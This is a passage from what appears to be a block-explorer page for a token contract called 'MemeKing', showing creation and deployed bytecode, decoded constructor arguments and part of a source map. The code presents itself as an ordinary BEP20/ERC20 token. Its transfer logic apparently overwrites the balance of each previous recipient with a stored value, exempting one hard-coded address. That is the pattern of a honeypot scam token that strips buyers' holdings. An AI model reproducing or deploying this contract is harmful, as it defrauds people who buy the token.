ffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61077f61086e565b73ffffffffffffffffffffffffffffffffffffffff1661079d6105cd565b73ffffffffffffffffffffffffffffffffffffffff16146107f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ea9061131e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610862576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610859906113b0565b60405180910390fd5b61086b81610b99565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036108e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108dc90611442565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094b906114d4565b60405180910390fd5b80600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a329190611083565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa590611566565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b14906115f8565b60405180910390fd5b610b28838383610c5d565b610b53600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610de3565b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ca89190611618565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d36919061129e565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610dd69190611083565b60405180910390a3505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610e7d57600254600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b600081519050919050565b600082825260208201905092915050565b60005b83811015610eba578082015181840152602081019050610e9f565b83811115610ec9576000848401525b50505050565b6000601f19601f8301169050919050565b6000610eeb82610e80565b610ef58185610e8b565b9350610f05818560208601610e9c565b610f0e81610ecf565b840191505092915050565b60006020820190508181036000830152610f338184610ee0565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610f6b82610f40565b9050919050565b610f7b81610f60565b8114610f8657600080fd5b50565b600081359050610f9881610f72565b92915050565b6000819050919050565b610fb181610f9e565b8114610fbc57600080fd5b50565b600081359050610fce81610fa8565b92915050565b60008060408385031215610feb57610fea610f3b565b5b6000610ff985828601610f89565b925050602061100a85828601610fbf565b9150509250929050565b60008115159050919050565b61102981611014565b82525050565b60006020820190506110446000830184611020565b92915050565b61105381610f60565b82525050565b600060208201905061106e600083018461104a565b92915050565b61107d81610f9e565b82525050565b60006020820190506110986000830184611074565b92915050565b6000806000606084860312156110b7576110b6610f3b565b5b60006110c586828701610f89565b93505060206110d686828701610f89565b92505060406110e786828701610fbf565b9150509250925092565b600060ff82169050919050565b611107816110f1565b82525050565b600060208201905061112260008301846110fe565b92915050565b60006020828403121561113e5761113d610f3b565b5b600061114c84828501610f89565b91505092915050565b6000819050919050565b600061117a61117561117084610f40565b611155565b610f40565b9050919050565b600061118c8261115f565b9050919050565b600061119e82611181565b9050919050565b6111ae81611193565b82525050565b60006020820190506111c960008301846111a5565b92915050565b600080604083850312156111e6576111e5610f3b565b5b60006111f485828601610f89565b925050602061120585828601610f89565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061125657607f821691505b6020821081036112695761126861120f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006112a982610f9e565b91506112b483610f9e565b9250828210156112c7576112c661126f565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611308602083610e8b565b9150611313826112d2565b602082019050919050565b60006020820190508181036000830152611337816112fb565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061139a602683610e8b565b91506113a58261133e565b604082019050919050565b600060208201905081810360008301526113c98161138d565b9050919050565b7f42455032303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061142c602483610e8b565b9150611437826113d0565b604082019050919050565b6000602082019050818103600083015261145b8161141f565b9050919050565b7f42455032303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006114be602283610e8b565b91506114c982611462565b604082019050919050565b600060208201905081810360008301526114ed816114b1565b9050919050565b7f42455032303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611550602583610e8b565b915061155b826114f4565b604082019050919050565b6000602082019050818103600083015261157f81611543565b9050919050565b7f42455032303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006115e2602383610e8b565b91506115ed82611586565b604082019050919050565b60006020820190508181036000830152611611816115d5565b9050919050565b600061162382610f9e565b915061162e83610f9e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116635761166261126f565b5b82820190509291505056fea2646970667358221220fd9f1fec16daf2739974093c0af031fef4c9d4a176564609dfe63237e0da54c464736f6c634300080f00330000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000084d656d654b696e6700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000084d656d654b696e67000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063767800de11610097578063b2bdfa7b11610066578063b2bdfa7b146102a1578063c21ebd07146102bf578063dd62ed3e146102dd578063f2fde38b1461030d57610100565b8063767800de146102175780638da5cb5b1461023557806395d89b4114610253578063a9059cbb1461027157610100565b806323b872dd116100d357806323b872dd1461018f578063313ce567146101bf57806370a08231146101dd578063715018a61461020d57610100565b806306fdde0314610105578063095ea7b3146101235780630b2cb3bc1461015357806318160ddd14610171575b600080fd5b61010d610329565b60405161011a9190610f19565b60405180910390f35b61013d60048036038101906101389190610fd4565b6103bb565b60405161014a919061102f565b60405180910390f35b61015b6103d9565b6040516101689190611059565b60405180910390f35b6101796103fd565b6040516101869190611083565b60405180910390f35b6101a960048036038101906101a4919061109e565b610407565b6040516101b6919061102f565b60405180910390f35b6101c76104bf565b6040516101d4919061110d565b60405180910390f35b6101f760048036038101906101f29190611128565b6104d6565b6040516102049190611083565b60405180910390f35b61021561051f565b005b61021f6105a7565b60405161022c9190611059565b60405180910390f35b61023d6105cd565b60405161024a9190611059565b60405180910390f35b61025b6105f6565b6040516102689190610f19565b60405180910390f35b61028b60048036038101906102869190610fd4565b610688565b604051610298919061102f565b60405180910390f35b6102a96106a6565b6040516102b69190611059565b60405180910390f35b6102c76106cc565b6040516102d491906111b4565b60405180910390f35b6102f760048036038101906102f291906111cf565b6106f0565b6040516103049190611083565b60405180910390f35b61032760048036038101906103229190611128565b610777565b005b6060600380546103389061123e565b80601f01602080910402602001604051908101604052809291908181526020018280546103649061123e565b80156103b15780601f10610386576101008083540402835291602001916103b1565b820191906000526020600020905b81548152906001019060200180831161039457829003601f168201915b5050505050905090565b60006103cf6103c861086e565b8484610876565b6001905092915050565b7f0000000000000000000000008072e3bdc6edc5eaae9b7b3645fb4db684f9b12a81565b6000600154905090565b6000610414848484610a3f565b6104b48461042061086e565b84600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046a61086e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104af919061129e565b610876565b600190509392505050565b6000600760149054906101000a900460ff16905090565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61052761086e565b73ffffffffffffffffffffffffffffffffffffffff166105456105cd565b73ffffffffffffffffffffffffffffffffffffffff161461059b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105929061131e565b60405180910390fd5b6105a56000610b99565b565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546106059061123e565b80601f01602080910402602001604051908101604052809291908181526020018280546106319061123e565b801561067e5780601f106106535761010080835404028352916020019161067e565b820191906000526020600020905b81548152906001019060200180831161066157829003601f168201915b5050505050905090565b600061069c61069561086e565b8484610a3f565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61077f61086e565b73ffffffffffffffffffffffffffffffffffffffff1661079d6105cd565b73ffffffffffffffffffffffffffffffffffffffff16146107f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ea9061131e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610862576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610859906113b0565b60405180910390fd5b61086b81610b99565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036108e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108dc90611442565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094b906114d4565b60405180910390fd5b80600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a329190611083565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa590611566565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b14906115f8565b60405180910390fd5b610b28838383610c5d565b610b53600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610de3565b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ca89190611618565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d36919061129e565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610dd69190611083565b60405180910390a3505050565b7f0000000000000000000000008072e3bdc6edc5eaae9b7b3645fb4db684f9b12a73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610e7d57600254600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b600081519050919050565b600082825260208201905092915050565b60005b83811015610eba578082015181840152602081019050610e9f565b83811115610ec9576000848401525b50505050565b6000601f19601f8301169050919050565b6000610eeb82610e80565b610ef58185610e8b565b9350610f05818560208601610e9c565b610f0e81610ecf565b840191505092915050565b60006020820190508181036000830152610f338184610ee0565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610f6b82610f40565b9050919050565b610f7b81610f60565b8114610f8657600080fd5b50565b600081359050610f9881610f72565b92915050565b6000819050919050565b610fb181610f9e565b8114610fbc57600080fd5b50565b600081359050610fce81610fa8565b92915050565b60008060408385031215610feb57610fea610f3b565b5b6000610ff985828601610f89565b925050602061100a85828601610fbf565b9150509250929050565b60008115159050919050565b61102981611014565b82525050565b60006020820190506110446000830184611020565b92915050565b61105381610f60565b82525050565b600060208201905061106e600083018461104a565b92915050565b61107d81610f9e565b82525050565b60006020820190506110986000830184611074565b92915050565b6000806000606084860312156110b7576110b6610f3b565b5b60006110c586828701610f89565b93505060206110d686828701610f89565b92505060406110e786828701610fbf565b9150509250925092565b600060ff82169050919050565b611107816110f1565b82525050565b600060208201905061112260008301846110fe565b92915050565b60006020828403121561113e5761113d610f3b565b5b600061114c84828501610f89565b91505092915050565b6000819050919050565b600061117a61117561117084610f40565b611155565b610f40565b9050919050565b600061118c8261115f565b9050919050565b600061119e82611181565b9050919050565b6111ae81611193565b82525050565b60006020820190506111c960008301846111a5565b92915050565b600080604083850312156111e6576111e5610f3b565b5b60006111f485828601610f89565b925050602061120585828601610f89565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061125657607f821691505b6020821081036112695761126861120f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006112a982610f9e565b91506112b483610f9e565b9250828210156112c7576112c661126f565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611308602083610e8b565b9150611313826112d2565b602082019050919050565b60006020820190508181036000830152611337816112fb565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061139a602683610e8b565b91506113a58261133e565b604082019050919050565b600060208201905081810360008301526113c98161138d565b9050919050565b7f42455032303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061142c602483610e8b565b9150611437826113d0565b604082019050919050565b6000602082019050818103600083015261145b8161141f565b9050919050565b7f42455032303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006114be602283610e8b565b91506114c982611462565b604082019050919050565b600060208201905081810360008301526114ed816114b1565b9050919050565b7f42455032303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611550602583610e8b565b915061155b826114f4565b604082019050919050565b6000602082019050818103600083015261157f81611543565b9050919050565b7f42455032303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006115e2602383610e8b565b91506115ed82611586565b604082019050919050565b60006020820190508181036000830152611611816115d5565b9050919050565b600061162382610f9e565b915061162e83610f9e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116635761166261126f565b5b82820190509291505056fea2646970667358221220fd9f1fec16daf2739974093c0af031fef4c9d4a176564609dfe63237e0da54c464736f6c634300080f0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000084d656d654b696e6700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000084d656d654b696e67000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : Name (string): MemeKing
Arg [1] : Symbol (string): MemeKing

-----Encoded View---------------
6 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000040
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [3] : 4d656d654b696e67000000000000000000000000000000000000000000000000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [5] : 4d656d654b696e67000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

19282:5654:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20768:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21595:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20046:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21045:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21764:316;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20954:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21146:115;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4452:103;;;:::i;:::-;;19524:62;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3801:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20859;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21269:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19661:21;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19992:47;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21444:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4710:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20768:83;20805:13;20838:5;20831:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20768:83;:::o;21595:161::-;21670:4;21687:39;21696:12;:10;:12::i;:::-;21710:7;21719:6;21687:8;:39::i;:::-;21744:4;21737:11;;21595:161;;;;:::o;20046:28::-;;;:::o;21045:93::-;21098:7;21125:5;;21118:12;;21045:93;:::o;21764:316::-;21862:4;21879:36;21889:6;21897:9;21908:6;21879:9;:36::i;:::-;21926:74;21935:6;21943:12;:10;:12::i;:::-;21993:6;21957:11;:19;21969:6;21957:19;;;;;;;;;;;;;;;:33;21977:12;:10;:12::i;:::-;21957:33;;;;;;;;;;;;;;;;:42;;;;:::i;:::-;21926:8;:74::i;:::-;22068:4;22061:11;;21764:316;;;;;:::o;20954:83::-;20995:5;21020:9;;;;;;;;;;;21013:16;;20954:83;:::o;21146:115::-;21212:7;21240:3;:12;21244:7;21240:12;;;;;;;;;;;;;;;;21232:21;;21146:115;;;:::o;4452:103::-;4032:12;:10;:12::i;:::-;4021:23;;:7;:5;:7::i;:::-;:23;;;4013:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4517:30:::1;4544:1;4517:18;:30::i;:::-;4452:103::o:0;19524:62::-;;;;;;;;;;;;;:::o;3801:87::-;3847:7;3874:6;;;;;;;;;;;3867:13;;3801:87;:::o;20859:::-;20898:13;20931:7;20924:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20859:87;:::o;21269:167::-;21347:4;21364:42;21374:12;:10;:12::i;:::-;21388:9;21399:6;21364:9;:42::i;:::-;21424:4;21417:11;;21269:167;;;;:::o;19661:21::-;;;;;;;;;;;;;:::o;19992:47::-;;;:::o;21444:143::-;21525:7;21552:11;:18;21564:5;21552:18;;;;;;;;;;;;;;;:27;21571:7;21552:27;;;;;;;;;;;;;;;;21545:34;;21444:143;;;;:::o;4710:201::-;4032:12;:10;:12::i;:::-;4021:23;;:7;:5;:7::i;:::-;:23;;;4013:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4819:1:::1;4799:22;;:8;:22;;::::0;4791:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;4875:28;4894:8;4875:18;:28::i;:::-;4710:201:::0;:::o;3175:98::-;3228:7;3255:10;3248:17;;3175:98;:::o;22233:337::-;22343:1;22326:19;;:5;:19;;;22318:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;22424:1;22405:21;;:7;:21;;;22397:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;22508:6;22478:11;:18;22490:5;22478:18;;;;;;;;;;;;;;;:27;22497:7;22478:27;;;;;;;;;;;;;;;:36;;;;22546:7;22530:32;;22539:5;22530:32;;;22555:6;22530:32;;;;;;:::i;:::-;;;;;;;;22233:337;;;:::o;22835:372::-;22981:1;22963:20;;:6;:20;;;22955:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;23060:1;23044:18;;:4;:18;;;23036:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;23115:39;23133:6;23141:4;23147:6;23115:17;:39::i;:::-;23165:14;23174:4;;;;;;;;;;;23165:8;:14::i;:::-;23195:4;23190;;:9;;;;;;;;;;;;;;;;;;22835:372;;;:::o;5071:191::-;5145:16;5164:6;;;;;;;;;;;5145:25;;5190:8;5181:6;;:17;;;;;;;;;;;;;;;;;;5245:8;5214:40;;5235:8;5214:40;;;;;;;;;;;;5134:128;5071:191;:::o;22578:249::-;22711:7;22693:3;:14;22697:9;22693:14;;;;;;;;;;;;;;;;:26;;;;:::i;:::-;22676:3;:14;22680:9;22676:14;;;;;;;;;;;;;;;:43;;;;22759:7;22744:3;:11;22748:6;22744:11;;;;;;;;;;;;;;;;:23;;;;:::i;:::-;22730:3;:11;22734:6;22730:11;;;;;;;;;;;;;;;:37;;;;22800:9;22783:36;;22792:6;22783:36;;;22811:7;22783:36;;;;;;:::i;:::-;;;;;;;;22578:249;;;:::o;23221:129::-;23287:3;23281:9;;:4;:9;;;23277:66;;23326:5;;23316:3;:9;23320:4;23316:9;;;;;;;;;;;;;;;:15;;;;23277:66;23221:129;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:118::-;3933:24;3951:5;3933:24;:::i;:::-;3928:3;3921:37;3846:118;;:::o;3970:222::-;4063:4;4101:2;4090:9;4086:18;4078:26;;4114:71;4182:1;4171:9;4167:17;4158:6;4114:71;:::i;:::-;3970:222;;;;:::o;4198:619::-;4275:6;4283;4291;4340:2;4328:9;4319:7;4315:23;4311:32;4308:119;;;4346:79;;:::i;:::-;4308:119;4466:1;4491:53;4536:7;4527:6;4516:9;4512:22;4491:53;:::i;:::-;4481:63;;4437:117;4593:2;4619:53;4664:7;4655:6;4644:9;4640:22;4619:53;:::i;:::-;4609:63;;4564:118;4721:2;4747:53;4792:7;4783:6;4772:9;4768:22;4747:53;:::i;:::-;4737:63;;4692:118;4198:619;;;;;:::o;4823:86::-;4858:7;4898:4;4891:5;4887:16;4876:27;;4823:86;;;:::o;4915:112::-;4998:22;5014:5;4998:22;:::i;:::-;4993:3;4986:35;4915:112;;:::o;5033:214::-;5122:4;5160:2;5149:9;5145:18;5137:26;;5173:67;5237:1;5226:9;5222:17;5213:6;5173:67;:::i;:::-;5033:214;;;;:::o;5253:329::-;5312:6;5361:2;5349:9;5340:7;5336:23;5332:32;5329:119;;;5367:79;;:::i;:::-;5329:119;5487:1;5512:53;5557:7;5548:6;5537:9;5533:22;5512:53;:::i;:::-;5502:63;;5458:117;5253:329;;;;:::o;5588:60::-;5616:3;5637:5;5630:12;;5588:60;;;:::o;5654:142::-;5704:9;5737:53;5755:34;5764:24;5782:5;5764:24;:::i;:::-;5755:34;:::i;:::-;5737:53;:::i;:::-;5724:66;;5654:142;;;:::o;5802:126::-;5852:9;5885:37;5916:5;5885:37;:::i;:::-;5872:50;;5802:126;;;:::o;5934:151::-;6009:9;6042:37;6073:5;6042:37;:::i;:::-;6029:50;;5934:151;;;:::o;6091:181::-;6203:62;6259:5;6203:62;:::i;:::-;6198:3;6191:75;6091:181;;:::o;6278:272::-;6396:4;6434:2;6423:9;6419:18;6411:26;;6447:96;6540:1;6529:9;6525:17;6516:6;6447:96;:::i;:::-;6278:272;;;;:::o;6556:474::-;6624:6;6632;6681:2;6669:9;6660:7;6656:23;6652:32;6649:119;;;6687:79;;:::i;:::-;6649:119;6807:1;6832:53;6877:7;6868:6;6857:9;6853:22;